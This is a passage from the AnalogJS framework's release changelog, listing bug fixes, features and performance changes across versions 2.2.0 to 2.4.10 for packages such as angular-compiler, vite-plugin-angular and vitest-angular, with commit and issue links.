([2f2204f](https://github.com/analogjs/analog/commit/2f2204f2883677636a7d4678594d6bf2b6c4f871)) - **angular-compiler:** extract output() alias in registry ([e7b1d0d](https://github.com/analogjs/analog/commit/e7b1d0d71fe2332b0eedf1f97bd76e3d34655308)) - **angular-compiler:** forward [@​Injectable](https://github.com/Injectable) provider config to compileInjectable ([ed9c264](https://github.com/analogjs/analog/commit/ed9c2641e36bc503b1611551b2d265f236b0a959)) - **angular-compiler:** hoist helpers via appendLeft when insertPos is 0 ([8a15184](https://github.com/analogjs/analog/commit/8a15184d423b0818c3c6d9f7429095554eecbd05)) - **angular-compiler:** hoisted helpers survive type-only import elision ([99e1ba4](https://github.com/analogjs/analog/commit/99e1ba48d8b08f8eb8de53fdae5801ea7e909d7a)) - **angular-compiler:** hostDirectives, emitExpr safety, TDZ hoisting, misc compilation fixes ([#​2255](https://github.com/analogjs/analog/issues/2255)) ([796e3e0](https://github.com/analogjs/analog/commit/796e3e09b0e7e5055fed2f1c765cd60a35c6d5b2)) - **angular-compiler:** improve handling of type elision for imports/exports ([#​2257](https://github.com/analogjs/analog/issues/2257)) ([1605a7b](https://github.com/analogjs/analog/commit/1605a7b6eb0870f9bb09e79c07debf2ac63984c4)) - **angular-compiler:** make hoisting dependency-aware to prevent TDZ ([#​2286](https://github.com/analogjs/analog/issues/2286)) ([f33f6b5](https://github.com/analogjs/analog/commit/f33f6b514cd204df79e7661058fc79312e561324)) - **angular-compiler:** merge styleUrl into existing inline styles array ([56b109f](https://github.com/analogjs/analog/commit/56b109f2c0c8c7e79f5116758b501519a610380d)) - **angular-compiler:** parse signal query read/descendants options ([175356c](https://github.com/analogjs/analog/commit/175356c0f45a90bd6a159c0c6ce43b04ef54b3fe)) - **angular-compiler:** preserve [@​Injectable](https://github.com/Injectable) in JIT mode for providedIn registration ([1a9745c](https://github.com/analogjs/analog/commit/1a9745c41745d5c9c3c538b905b9a3861dd5e421)) - **angular-compiler:** preserve constructor di token imports from elision ([#​2270](https://github.com/analogjs/analog/issues/2270)) ([9de43fa](https://github.com/analogjs/analog/commit/9de43fa35ee1926170d936d848098c62fafd7c74)) - **angular-compiler:** preserve ivy fields when lowering trailing class field ([79cd5c1](https://github.com/analogjs/analog/commit/79cd5c1a1a97c5964ffba2a53a8fd0769d12b381)) - **angular-compiler:** preserve operator precedence in emitted binary expressions ([#​2275](https://github.com/analogjs/analog/issues/2275)) ([e2dfb5a](https://github.com/analogjs/analog/commit/e2dfb5a9211b7f7718eb10e953379271f6ca5597)) - **angular-compiler:** provide flat defer fields on Angular v17 ([70a4d9b](https://github.com/analogjs/analog/commit/70a4d9b20dd10db0261d22e81d46640de323c8da)) - **angular-compiler:** reject ambiguous union/intersection DI tokens ([c379707](https://github.com/analogjs/analog/commit/c3797079ec4b6b92451d9a642524ac5f92cc07a9)) - **angular-compiler:** set componentMeta.interpolation for partial mode on v19/v20 ([a09ff88](https://github.com/analogjs/analog/commit/a09ff889e2b93a6a6c1c0839884e1f91f537497b)) - **angular-compiler:** skip arrow fn types when finding assignment = … ([#​2274](https://github.com/analogjs/analog/issues/2274)) ([992e180](https://github.com/analogjs/analog/commit/992e1803937db2fac381940982cc2f1141ddf3ff)) - **angular-compiler:** strip ESM .js extension when probing dts re-exports ([d1f65ef](https://github.com/analogjs/analog/commit/d1f65efb69f2972279425c47ee63b73edeb980ae)) - **angular-compiler:** track hasTransform on signal inputs in registry ([fd8acd4](https://github.com/analogjs/analog/commit/fd8acd49ebf2f80ee7b6e861fca5ad4578cfa78b)) - **angular-compiler:** unwrap forwardRef inside [@​Inject](https://github.com/Inject) decorator ([dcb221a](https://github.com/analogjs/analog/commit/dcb221a5cef963ee97feee80f8ac77ecd52393da)) - **angular-compiler:** use original export name for aliased defer imports ([6ab34dd](https://github.com/analogjs/analog/commit/6ab34dd0be10784b26e2117e4dd54fb21ed10f50)) - **angular-compiler:** wrap switch cases in blocks for biome lint ([8fc75d9](https://github.com/analogjs/analog/commit/8fc75d9f6a55e0592aae4a72c831c4f6f951bfea)) - **angular-compiler:** wrap Write\*Expr emissions in parens for nesting precedence ([48f80e4](https://github.com/analogjs/analog/commit/48f80e422bfe58b30810f5a850af4accf171cd94)) - **content:** scope slash-containing slugs to file's subdirectory ([#​2318](https://github.com/analogjs/analog/issues/2318)) ([ee69df7](https://github.com/analogjs/analog/commit/ee69df77415582d03f071080d59dc1766419da4c)) - correct release config replacement file path ([c91ce2d](https://github.com/analogjs/analog/commit/c91ce2dc2fb5e49991acf16a6fd2fb147835b579)) - **platform:** reset cached tViews between SSR requests for correct i18n locale switching ([#​2301](https://github.com/analogjs/analog/issues/2301)) ([a29465d](https://github.com/analogjs/analog/commit/a29465d31743a8871bc93ed3d62d9649d5d40a71)) - **router:** reset cached tViews between SSR requests for correct i18n locale switching ([#​2295](https://github.com/analogjs/analog/issues/2295)) ([d2ce3e5](https://github.com/analogjs/analog/commit/d2ce3e5f1738fd586a39b1a9d87b668cd1971e38)) - **storybook-angular:** forward applyDecorators in testing ([#​2236](https://github.com/analogjs/analog/issues/2236)) ([31d996c](https://github.com/analogjs/analog/commit/31d996c035f7a6b9e533a39f735176663fcc07d3)) - **storybook-angular:** use oxc config instead of esbuild for Vite 8 ([#​2313](https://github.com/analogjs/analog/issues/2313)) ([ef16e7e](https://github.com/analogjs/analog/commit/ef16e7e9cf1676b37bbbc781f60789ff1e5811ff)) - **vite-plugin-angular,angular-compiler:** support Vite 6-8 and fix type-elision helper loss ([0aa26e0](https://github.com/analogjs/analog/commit/0aa26e06b99cc52b6e2b09c69602d44c62a0fdee)) - **vite-plugin-angular:** add Vite Plugin Registry compatibility ([#​2314](https://github.com/analogjs/analog/issues/2314)) ([c3444d1](https://github.com/analogjs/analog/commit/c3444d105f8b924cd815f4b8168eaa9575e18035)) - **vite-plugin-angular:** bypass server.fs restrictions on ?raw template imports ([#​2259](https://github.com/analogjs/analog/issues/2259)) ([87512a2](https://github.com/analogjs/analog/commit/87512a254698ce78439d0c79eb86a7784dea0c17)) - **vite-plugin-angular:** fix vitest sourcemap plugin for Vite 7 ([74d52e7](https://github.com/analogjs/analog/commit/74d52e7f72d01e972df1c182f5c11c6c70e033a4)) - **vite-plugin-angular:** handle .ts files not in Angular program ([#​2265](https://github.com/analogjs/analog/issues/2265)) ([fda852d](https://github.com/analogjs/analog/commit/fda852d389b1506d8969ff05c4c610b6673b7888)) - **vite-plugin-angular:** honor Vitest test.css semantics to skip CSS preprocessing ([#​2298](https://github.com/analogjs/analog/issues/2298)) ([d7bd331](https://github.com/analogjs/analog/commit/d7bd3315543488665c4a9c1cfd0c0a3426552986)) - **vite-plugin-angular:** keep barrel registry in sync at dev time ([f5f7ef1](https://github.com/analogjs/analog/commit/f5f7ef1e013b8352d1875764a74337f18ced271f)) - **vite-plugin-angular:** let CSS ?inline imports flow through Vite's pipeline ([#​2311](https://github.com/analogjs/analog/issues/2311)) ([ae803bb](https://github.com/analogjs/analog/commit/ae803bb410638b42436d173ce53b7bb81040988a)) - **vite-plugin-angular:** return empty CSS instead of raw SCSS when test.css is disabled ([#​2306](https://github.com/analogjs/analog/issues/2306)) ([eef84de](https://github.com/analogjs/analog/commit/eef84de75f5c2ea14a753afe6c2920fb27fc1b35)) - **vite-plugin-angular:** route template/style imports through virtual module ids ([#​2287](https://github.com/analogjs/analog/issues/2287)) ([98cfe64](https://github.com/analogjs/analog/commit/98cfe649c3a72c9e1a6daf97cc5ba6eb9f825c5f)) - **vite-plugin-angular:** stop matching .tsrx in TS extension regex ([2d23b19](https://github.com/analogjs/analog/commit/2d23b197f30146a0822bdf9cec6559b44d2f8135)) - **vite-plugin-angular:** use empty string instead of undefined for mapRoot/sourceRoot overrides (beta) ([#​2322](https://github.com/analogjs/analog/issues/2322)) ([cfd6cd6](https://github.com/analogjs/analog/commit/cfd6cd660f04cd98eae7a0dd231ce8ad793ed4d5)) - **vite-plugin-angular:** use virtual modules for external JIT styles ([#​2283](https://github.com/analogjs/analog/issues/2283)) ([add0337](https://github.com/analogjs/analog/commit/add033798aa82e806dbe94cb66dab8bee53ba792)) - **vitest-angular:** clean generated snapshot ids ([#​2238](https://github.com/analogjs/analog/issues/2238)) ([ac933ba](https://github.com/analogjs/analog/commit/ac933ba18321c5536a59ccd067fefdd769e59c9c)) - **vitest-angular:** normalize snapshot whitespace ([#​2237](https://github.com/analogjs/analog/issues/2237)) ([d1ba31f](https://github.com/analogjs/analog/commit/d1ba31f90b7515ba49e7cbe27857b5bb983d8ceb)) ##### Features - add [@​analogjs/angular-compiler](https://github.com/analogjs/angular-compiler) package ([#​2221](https://github.com/analogjs/analog/issues/2221)) ([d2dfbe0](https://github.com/analogjs/analog/commit/d2dfbe0b599d4739d62fffb3f7b3740e84eb31d6)) - **angular-compiler:** add partial compilation mode for library support ([#​2269](https://github.com/analogjs/analog/issues/2269)) ([bfe0c62](https://github.com/analogjs/analog/commit/bfe0c62d86fd6286942d06eff41f06e7db314357)) - **angular-compiler:** expand tuple barrel imports for spartan-style libs ([bf4595f](https://github.com/analogjs/analog/commit/bf4595f19f03bedcbb0ba8fa80376b68285a90f5)) - **angular-compiler:** resolve ${var} interpolation in metadata strings ([79ade33](https://github.com/analogjs/analog/commit/79ade33e96e8f07316b7231c97837d2384fdb96d)) - **angular-compiler:** structured debug logging via obug ([b155f53](https://github.com/analogjs/analog/commit/b155f53b9fd207c09fccca019d3939e891c344a8)) - **angular-compiler:** support useDefineForClassFields: false ([#​2267](https://github.com/analogjs/analog/issues/2267)) ([f0a5908](https://github.com/analogjs/analog/commit/f0a59081593fdfec28656c719f27117f3f0bd325)) - **astro-angular:** add support for client hydration with Angular components ([#​2212](https://github.com/analogjs/analog/issues/2212)) ([d36de5b](https://github.com/analogjs/analog/commit/d36de5baa8fa70341c0d67731d5ba32fe70ea743)) - **docs:** add AI integrations guide ([#​2234](https://github.com/analogjs/analog/issues/2234)) ([545f8fc](https://github.com/analogjs/analog/commit/545f8fc5c714e97ee784ed9f6db0052eb2ee086b)) - improve hmr with dynamic ivy field copying and directive/pipe support ([d568bf2](https://github.com/analogjs/analog/commit/d568bf26b8cf562cb6aebffddadb01b827c40ae8)) - **platform:** add shiki skipLangs option for analog v2 ([#​2282](https://github.com/analogjs/analog/issues/2282)) ([d6e932c](https://github.com/analogjs/analog/commit/d6e932c0d4031d45bc259b89c7b4bc797e5099aa)) - **platform:** passthrough fastCompile and fastCompileMode to vite-plugin-angular ([f085ecc](https://github.com/analogjs/analog/commit/f085ecc0389a2bb5e94bd9391f551e960c378e1c)) - resolve ngmodule exports to correct sub-entry import paths ([07bc3d1](https://github.com/analogjs/analog/commit/07bc3d141104082664a55cf928918194f9ba8850)) - runtime i18n support with $localize ([#​2268](https://github.com/analogjs/analog/issues/2268)) ([7dbc7df](https://github.com/analogjs/analog/commit/7dbc7dfa65140b63c7e0958a3c5da49963ea9b05)) - **vite-plugin-angular:** add globalThis external-registry hook for fastCompile ([aabb5ab](https://github.com/analogjs/analog/commit/aabb5abcad5c5eb0ceaf34e5234c9ad42aac29d5)) - **vite-plugin-nitro:** add recursive option to PrerenderContentDir ([#​2318](https://github.com/analogjs/analog/issues/2318)) ([42a5524](https://github.com/analogjs/analog/commit/42a5524acf0a2860758fc1a11997b3d15215a793)) ##### Performance Improvements - **angular-compiler:** optimize using oxc, add tests, consolidate strings ([#​2260](https://github.com/analogjs/analog/issues/2260)) ([64a4696](https://github.com/analogjs/analog/commit/64a469627926e2125cf45b95925fecb4919e13a7)) #### [2.4.10](https://github.com/analogjs/analog/compare/v2.4.9...v2.4.10) (2026-04-21) ##### Bug Fixes - **vite-plugin-angular:** let CSS ?inline imports flow through Vite's native pipeline ([#​2310](https://github.com/analogjs/analog/issues/2310)) ([07f8b47](https://github.com/analogjs/analog/commit/07f8b471628cdaa6e3c452a24ff965c06b4d4355)) #### [2.4.9](https://github.com/analogjs/analog/compare/v2.4.8...v2.4.9) (2026-04-20) ##### Bug Fixes - **content:** scope slash-containing slugs to file's subdirectory ([#​2318](https://github.com/analogjs/analog/issues/2318)) ([ee69df7](https://github.com/analogjs/analog/commit/ee69df77415582d03f071080d59dc1766419da4c)) ##### Features - **vite-plugin-nitro:** add recursive option to PrerenderContentDir ([#​2318](https://github.com/analogjs/analog/issues/2318)) ([42a5524](https://github.com/analogjs/analog/commit/42a5524acf0a2860758fc1a11997b3d15215a793)) ### [`v2.4.10`](https://github.com/analogjs/analog/blob/HEAD/CHANGELOG.md#2410-2026-04-21) [Compare Source](https://github.com/analogjs/analog/compare/v2.4.9...v2.4.10) ##### Bug Fixes - **vite-plugin-angular:** let CSS ?inline imports flow through Vite's native pipeline ([#​2310](https://github.com/analogjs/analog/issues/2310)) ([07f8b47](https://github.com/analogjs/analog/commit/07f8b471628cdaa6e3c452a24ff965c06b4d4355)) ### [`v2.4.9`](https://github.com/analogjs/analog/blob/HEAD/CHANGELOG.md#249-2026-04-20) [Compare Source](https://github.com/analogjs/analog/compare/v2.4.8...v2.4.9) ##### Bug Fixes - **content:** scope slash-containing slugs to file's subdirectory ([#​2318](https://github.com/analogjs/analog/issues/2318)) ([ee69df7](https://github.com/analogjs/analog/commit/ee69df77415582d03f071080d59dc1766419da4c)) ##### Features - **vite-plugin-nitro:** add recursive option to PrerenderContentDir ([#​2318](https://github.com/analogjs/analog/issues/2318)) ([42a5524](https://github.com/analogjs/analog/commit/42a5524acf0a2860758fc1a11997b3d15215a793)) ### [`v2.4.8`](https://github.com/analogjs/analog/releases/tag/v2.4.8) [Compare Source](https://github.com/analogjs/analog/compare/v2.4.7...v2.4.8) ##### Bug Fixes - **vite-plugin-angular:** honor Vitest test.css semantics to skip CSS preprocessing ([#​2298](https://github.com/analogjs/analog/issues/2298)) ([90ac242](https://github.com/analogjs/analog/commit/90ac242b3d03dd6745b9a957bd6bc7d8c7eaeb1d)) ### [`v2.4.7`](https://github.com/analogjs/analog/releases/tag/v2.4.7) [Compare Source](https://github.com/analogjs/analog/compare/v2.4.6...v2.4.7) ##### Bug Fixes - **vite-plugin-angular:** route template/style imports through virtual module ids ([#​2287](https://github.com/analogjs/analog/issues/2287)) ([6ae244c](https://github.com/analogjs/analog/commit/6ae244c421b54a2834f58bc3ee8a51958f8d3347)) ### [`v2.4.6`](https://github.com/analogjs/analog/releases/tag/v2.4.6) [Compare Source](https://github.com/analogjs/analog/compare/v2.4.5...v2.4.6) ##### Bug Fixes - **vite-plugin-angular:** use virtual modules for external JIT styles ([#​2283](https://github.com/analogjs/analog/issues/2283)) ([358faf7](https://github.com/analogjs/analog/commit/358faf70499680f29f60e05bcaa61055f0f52557)) ### [`v2.4.5`](https://github.com/analogjs/analog/releases/tag/v2.4.5) [Compare Source](https://github.com/analogjs/analog/compare/v2.4.4...v2.4.5) ##### Bug Fixes - **vite-plugin-angular:** emit ?analog-{inline,raw} from JIT transform output ([#​2272](https://github.com/analogjs/analog/issues/2272)) ([48f3ff9](https://github.com/analogjs/analog/commit/48f3ff9c7db10028fd08e95a5153043bf591d5f9)) ### [`v2.4.4`](https://github.com/analogjs/analog/releases/tag/v2.4.4) [Compare Source](https://github.com/analogjs/analog/compare/v2.4.3...v2.4.4) ##### Bug Fixes - **vite-plugin-angular:** handle ?inline style imports in load hook for Vitest ([#​2271](https://github.com/analogjs/analog/issues/2271)) ([32d5b2d](https://github.com/analogjs/analog/commit/32d5b2ddeea0b7f7e93c32b40f53b184bd12923e)) ### [`v2.4.3`](https://github.com/analogjs/analog/releases/tag/v2.4.3) [Compare Source](https://github.com/analogjs/analog/compare/v2.4.2...v2.4.3) ##### Bug Fixes - **vite-plugin-angular:** bypass Vite 8.0.5+ Denied ID for style ?inline imports ([#​2264](https://github.com/analogjs/analog/issues/2264)) ([812c011](https://github.com/analogjs/analog/commit/812c011277ad72382def7ff77581b0fa61eec695)) ### [`v2.4.2`](https://github.com/analogjs/analog/releases/tag/v2.4.2) [Compare Source](https://github.com/analogjs/analog/compare/v2.4.1...v2.4.2) ##### Bug Fixes - **vite-plugin-angular:** bypass Vite 7.3.2+ server.fs restrictions for style ?inline imports ([#​2262](https://github.com/analogjs/analog/issues/2262)) ([7e43cc4](https://github.com/analogjs/analog/commit/7e43cc4281b0a78ebee93bbdd58b64381b5cab2a)) ### [`v2.4.1`](https://github.com/analogjs/analog/blob/HEAD/CHANGELOG.md#2410-2026-04-21) [Compare Source](https://github.com/analogjs/analog/compare/v2.4.0...v2.4.1) ##### Bug Fixes - **vite-plugin-angular:** let CSS ?inline imports flow through Vite's native pipeline ([#​2310](https://github.com/analogjs/analog/issues/2310)) ([07f8b47](https://github.com/analogjs/analog/commit/07f8b471628cdaa6e3c452a24ff965c06b4d4355)) ### [`v2.4.0`](https://github.com/analogjs/analog/blob/HEAD/CHANGELOG.md#240-2026-03-30) [Compare Source](https://github.com/analogjs/analog/compare/v2.3.1...v2.4.0) ##### Bug Fixes - **astro-angular:** style tag ordering for multiple islands ([#​2210](https://github.com/analogjs/analog/issues/2210)) ([b306097](https://github.com/analogjs/analog/commit/b306097442be5f1f38f7b47762c67c09febec628)) - **astro-angular:** support astro v6 using vite environment api ([#​2133](https://github.com/analogjs/analog/issues/2133)) ([e9fd9c6](https://github.com/analogjs/analog/commit/e9fd9c6134fa33aa0283bda7efb3c8f54cef15ab)) - **content:** resolve content files by bare slug lookup ([#​2205](https://github.com/analogjs/analog/issues/2205)) ([7e79d24](https://github.com/analogjs/analog/commit/7e79d24a9cd2a8e70dea5b458db59cd4e5ae31ff)) - **create-analog:** bump to Vitest 4.1, update CI workflow versions ([54b5112](https://github.com/analogjs/analog/commit/54b51125130e897faf787db2b918d5ae16e4802f)) - fix build and unit tests ([dc6842c](https://github.com/analogjs/analog/commit/dc6842cd9ef79cc1274d92b908f25ec80bbca9d3)) - fix vitest build and ci workflows ([a4b129a](https://github.com/analogjs/analog/commit/a4b129a589090043d0b06f6e72bbbc259aa23f9e)) - **nx-plugin:** remove full path to main.ts for Nx projects ([#​2164](https://github.com/analogjs/analog/issues/2164)) ([39f0d7c](https://github.com/analogjs/analog/commit/39f0d7ce411cf4c59b5b446337affaa818a4e48f)) - **nx-plugin:** restore builders configuration ([1d2e4e8](https://github.com/analogjs/analog/commit/1d2e4e8b115da2fb1b63c67f017f861dac7b2f4c)) - **nx-plugin:** restore schematics configuration ([#​2167](https://github.com/analogjs/analog/issues/2167)) ([e74fa68](https://github.com/analogjs/analog/commit/e74fa6829c340976403ba46ca933bd72be2dde2d)) - **platform:** allow using custom vite plugins for Angular compilation ([#​2102](https://github.com/analogjs/analog/issues/2102)) ([8bb4fb4](https://github.com/analogjs/analog/commit/8bb4fb44c4ccb1a0d9c51dcd6fe8c9ab840f0e4e)) - **platform:** separate disabling highlighting from content discovery ([#​2110](https://github.com/analogjs/analog/issues/2110)) ([618c42c](https://github.com/analogjs/analog/commit/618c42cf7bc859e552cb1a3b02c6092c18e99e21)) - **router:** fix and add unit tests for route module invalidation on file changes ([b9325af](https://github.com/analogjs/analog/commit/b9325af0f0748c7a69610de5782e1fe12461164e)) - **router:** use non-greedy regex for path normalization ([#​2093](https://github.com/analogjs/analog/issues/2093)) ([fa5dd9b](https://github.com/analogjs/analog/commit/fa5dd9b7e6f9e245f5c6379f2f35ee35c7be75e3)) - update dependencies and package manager versions across projects ([#​2106](https://github.com/analogjs/analog/issues/2106)) ([429536c](https://github.com/analogjs/analog/commit/429536c7e5f479aa06eb61a3df51cf4223e30e14)), closes [#​2040](https://github.com/analogjs/analog/issues/2040) - **vite-plugin-angular:** ensure sequential compilation for client and ssr bundles ([#​2109](https://github.com/analogjs/analog/issues/2109)) ([008bd1c](https://github.com/analogjs/analog/commit/008bd1c20daa4c16fe92da036e99219056da4ff3)) - **vite-plugin-angular:** hash styleId to prevent filename exceeding max length ([#​2090](https://github.com/analogjs/analog/issues/2090)) ([2aa2114](https://github.com/analogjs/analog/commit/2aa211479e16cc106f957d5e373ea3a1386abfc6)) - **vite-plugin-angular:** normalize paths across plugin & live reload ([#​2126](https://github.com/analogjs/analog/issues/2126)) ([cc98bf7](https://github.com/analogjs/analog/commit/cc98bf727b181077c87a536f29d7128414d8904d)) - **vite-plugin-angular:** skip esm transform with Rolldown for Vitest ([#​2169](https://github.com/analogjs/analog/issues/2169)) ([20c720b](https://github.com/analogjs/analog/commit/20c720bc8178174041002f400ed4d694dabb30c1)) - **vitest-angular:** fix imports for snapshot serializers ([#​2211](https://github.com/analogjs/analog/issues/2211)) ([8e9f73d](https://github.com/analogjs/analog/commit/8e9f73dfde0e03e0943512dd18f432f20307f3f5)) - **vitest-angular:** support environment providers ([#​2129](https://github.com/analogjs/analog/issues/2129)) ([a90aa12](https://github.com/analogjs/analog/commit/a90aa1272ed64d626386283ae7b9a09775a07287)) ##### Features - **astro-angular:** add option to move component styles to document head ([#​2162](https://github.com/analogjs/analog/issues/2162)) ([2361afa](https://github.com/analogjs/analog/commit/2361afaa31247e61483517d321f541c7419bc79b)) - **content:** extract TOC to be property on contentFile ([#​2091](https://github.com/analogjs/analog/issues/2091)) ([4e870cc](https://github.com/analogjs/analog/commit/4e870cc99e74c889743503522ae4c6f3be5d9247)) - **create-analog:** add snapshot serializers ([3318263](https://github.com/analogjs/analog/commit/33182636a130e4c7b3f213aece7a020cf0981c3e)) - update vite to stable v8.0.0 ([#​2111](https://github.com/analogjs/analog/issues/2111)) ([cf35c65](https://github.com/analogjs/analog/commit/cf35c658a3966a514e95aa2c0e4c9c514999c4bd)) - **vite-plugin-angular:** working fileReplacements and liveReload for Angular Compilation API ([7adf8c1](https://github.com/analogjs/analog/commit/7adf8c18b7786047dc6156eb6c2eaeff0961e5f4)) - **vitest-angular:** add `teardown.destroyAfterEach` option and deprecate `browserMode` option ([#​2054](https://github.com/analogjs/analog/issues/2054)) ([2fe2e1c](https://github.com/analogjs/analog/commit/2fe2e1c9304a933b0070fb2e28c8e92def68f077)) - **vitest-angular:** add reusable snapshot serializers ([#​2163](https://github.com/analogjs/analog/issues/2163)) ([9089c8d](https://github.com/analogjs/analog/commit/9089c8d8f315aad4792d6b37b18db62d951301b2)) ### [`v2.3.1`](https://github.com/analogjs/analog/blob/HEAD/CHANGELOG.md#231-beta1-2026-02-27) [Compare Source](https://github.com/analogjs/analog/compare/v2.3.0...v2.3.1) ##### Bug Fixes - **vite-plugin-angular:** hash styleId to prevent filename exceeding max length ([#​2090](https://github.com/analogjs/analog/issues/2090)) ([2aa2114](https://github.com/analogjs/analog/commit/2aa211479e16cc106f957d5e373ea3a1386abfc6)) ### [`v2.3.0`](https://github.com/analogjs/analog/blob/HEAD/CHANGELOG.md#230-2026-02-25) [Compare Source](https://github.com/analogjs/analog/compare/v2.2.3...v2.3.0) ##### Bug Fixes - add dependsOn to astro-angular build ([1a6182d](https://github.com/analogjs/analog/commit/1a6182d311e6235a6b1d3ae2e6a3dfa37697ee46)) - build before publish ([432ffa6](https://github.com/analogjs/analog/commit/432ffa6a987c679bb7eea45f5c6fa7eb235dc286)) - bump build ([1c61fbc](https://github.com/analogjs/analog/commit/1c61fbc289a079a2ef5e3ce65dce9c7e9f2a7fed)) - publish from workflow ([390dd74](https://github.com/analogjs/analog/commit/390dd747f2d2e341260ac20d57f2b7d4057e371c)) - remove npm token from semantic release ([ba42f16](https://github.com/analogjs/analog/commit/ba42f16842772315e61e7ea29608c9df42504c97)) - remove npm token publishing ([1c490ad](https://github.com/analogjs/analog/commit/1c490ad360733095e56abd9be97f59f81322714a)) - revert back to semantic release ([ea10b1b](https://github.com/analogjs/analog/commit/ea10b1b7caa573ef65b7796ab81796073fc6183b)) - **storybook-angular): revert "fix(storybook-angular:** add missing applyDecorators to render annotaions" ([#​2088](https://github.com/analogjs/analog/issues/2088)) ([86e2a6a](https://github.com/analogjs/analog/commit/86e2a6a4c30aa7ab2d469bd18db32b0ec7daca44)) - **storybook-angular:** add missing applyDecorators to render annotaions ([#​2086](https://github.com/analogjs/analog/issues/2086)) ([9a14163](https://github.com/analogjs/analog/commit/9a141638ad674e4b5356ed6a0120f41d8ac90f18)) - **storybook-angular:** add missing await to storybook-angular preset core ([#​2081](https://github.com/analogjs/analog/issues/2081)) ([352870a](https://github.com/analogjs/analog/commit/352870a86ca8dd08446b8538e04487e64398d0f4)) - **storybook-angular:** resolve experimentalZoneless in Vitest path ([#​2059](https://github.com/analogjs/analog/issues/2059)) ([447dad2](https://github.com/analogjs/analog/commit/447dad2129f8840bb279d1e1eda6e838bca0d8da)) - update implicit dependencies for build ([cfb0abc](https://github.com/analogjs/analog/commit/cfb0abc5b0be91dc498f443778e5fa1bef95a2c3)) - update node setup in release workflow ([5bd0923](https://github.com/analogjs/analog/commit/5bd0923d965dcea4fda160cdde8aab9b61601a76)) - update node version ([4aaa6bd](https://github.com/analogjs/analog/commit/4aaa6bdb79e1909b1b8671a6cda7312a190e9082)) - **vite-plugin-angular:** add missing tinyglobby dependency ([#​2069](https://github.com/analogjs/analog/issues/2069)) ([8661cb6](https://github.com/analogjs/analog/commit/8661cb6ab3754c05ed3b38a268570cd92dfd7147)) - **vitest-angular:** add missing zone.js optional peer dependency ([#​2071](https://github.com/analogjs/analog/issues/2071)) ([88a1a55](https://github.com/analogjs/analog/commit/88a1a55825e715842e28d810894fa86986c1b1e4)) - **vitest-angular:** fix setupTestBed's providers option ([#​2072](https://github.com/analogjs/analog/issues/2072)) ([2e7a02f](https://github.com/analogjs/analog/commit/2e7a02f4f541b8c5a02a0f5e9f7f0b7ad354f087)) ##### Features - **router:** support optional catch all routes ([#​2043](https://github.com/analogjs/analog/issues/2043)) ([ba9fc09](https://github.com/analogjs/analog/commit/ba9fc09fdd293d338299d949cadbfdc8137677e8)) - **vite-plugin-nitro:** add option for markdown source output alongside prerendered routes ([#​2082](https://github.com/analogjs/analog/issues/2082)) ([c15d20b](https://github.com/analogjs/analog/commit/c15d20b9887008fda7714437280dbfc1bb66b336)) - **vitest-angular:** add setup schematic and ng-add support ([#​2056](https://github.com/analogjs/analog/issues/2056)) ([cc26771](https://github.com/analogjs/analog/commit/cc26771aa72cb2a38c2fb7ca070840eccf1e7951)) ### [`v2.2.3`](https://github.com/analogjs/analog/blob/HEAD/CHANGELOG.md#223-2026-01-29) [Compare Source](https://github.com/analogjs/analog/compare/v2.2.2...v2.2.3) ##### Bug Fixes - **content:** allow retrieving content file resource by slug ([#​2051](https://github.com/analogjs/analog/issues/2051)) ([5ac1013](https://github.com/analogjs/analog/commit/5ac101396c73856e52a1fb888c55eacd54abd62a)) - **content:** export content loader tokens for custom content list/file ([#​2050](https://github.com/analogjs/analog/issues/2050)) ([e45f189](https://github.com/analogjs/analog/commit/e45f1894cb8ba204481df7bd1d17d133639370c4)) - **vite-plugin-nitro:** trigger environment builds before server build ([#​2048](https://github.com/analogjs/analog/issues/2048)) ([3dd3755](https://github.com/analogjs/analog/commit/3dd375532d4f830ab5e04e970b4c1f869f99abcc)) ### [`v2.2.2`](https://github.com/analogjs/analog/blob/HEAD/CHANGELOG.md#222-2026-01-14) [Compare Source](https://github.com/analogjs/analog/compare/v2.2.1...v2.2.2) ##### Bug Fixes - **storybook-angular:** use vite config root when angularBuilderContext unavailable ([#​2033](https://github.com/analogjs/analog/issues/2033)) ([76cfb94](https://github.com/analogjs/analog/commit/76cfb948c2571bf21522d185d4dc43fa4e4c121e)) ### [`v2.2.1`](https://github.com/analogjs/analog/blob/HEAD/CHANGELOG.md#221-2026-01-05) [Compare Source](https://github.com/analogjs/analog/compare/v2.2.0...v2.2.1) ##### Bug Fixes - **nx-plugin:** add [@​nx/vite](https://github.com/nx/vite) for Nx workspaces ([08ba372](https://github.com/analogjs/analog/commit/08ba372257044890aa2f90bff8898c293b15dba5)) - **nx-plugin:** add [@​nx/vite](https://github.com/nx/vite) to preset packages ([0aca507](https://github.com/analogjs/analog/commit/0aca507648fb28e1d77a2902ab10299856270e11)) - **nx-plugin:** skip installing Vitest packages when skipped during migration ([#​2017](https://github.com/analogjs/analog/issues/2017)) ([a573684](https://github.com/analogjs/analog/commit/a57368484ca8632f325d966964dae07055e43dcb)) - **storybook-angular:** resolve relative styles from project root ([#​2025](https://github.com/analogjs/analog/issues/2025)) ([33e7b6c](https://github.com/analogjs/analog/commit/33e7b6cf19a51b49774b7405cec1abed494d46f7)) - **vite-plugin-angular:** improve compatibility with older TypeScript versions ([#​2021](https://github.com/analogjs/analog/issues/2021)) ([aab2f2a](https://github.com/analogjs/analog/commit/aab2f2a4e7297bc1c86b7f185efe204c4592a828)) - **vite-plugin-angular:** process styles in jit mode instead of returning raw output ([#​2024](https://github.com/analogjs/analog/issues/2024)) ([bcb6da9](https://github.com/analogjs/analog/commit/bcb6da9f6d112fe174e90a390235eb5adf14982e)) - **vitest-angular:** ensure setupTestBed defaults merge ([#​2019](https://github.com/analogjs/analog/issues/2019)) ([f36339f](https://github.com/analogjs/analog/commit/f36339ff9835b04f6137b1a235ec2f35157293d7)) ### [`v2.2.0`](https://github.com/analogjs/analog/blob/HEAD/CHANGELOG.md#220-2025-12-16) [Compare Source](https://github.com/analogjs/analog/compare/v2.1.3...v2.2.0) ##### Bug Fixes - **create-analog:** remove angular-devkit/build-angular from devDependencies ([ada2ecc](https://github.com/analogjs/analog/commit/ada2ecc7fddf8247472b30439d15ba014eb4df30)) - **nx-plugin:** adjust Vitest version for Angular v20 ([c4b2ea7](https://github.com/analogjs/analog/commit/c4b2ea77c757ebd1aa6c17ff5e3aaab96d239fb3)) - **nx-plugin:** pass Nx version for package version detection ([42a9630](https://github.com/analogjs/analog/commit/42a963025bd31cc6279e9d135d7cd7cce894e00c)) - **storybook-angular:** creates config.plugin array when undefined ([#​1998](https://github.com/analogjs/analog/issues/1998)) 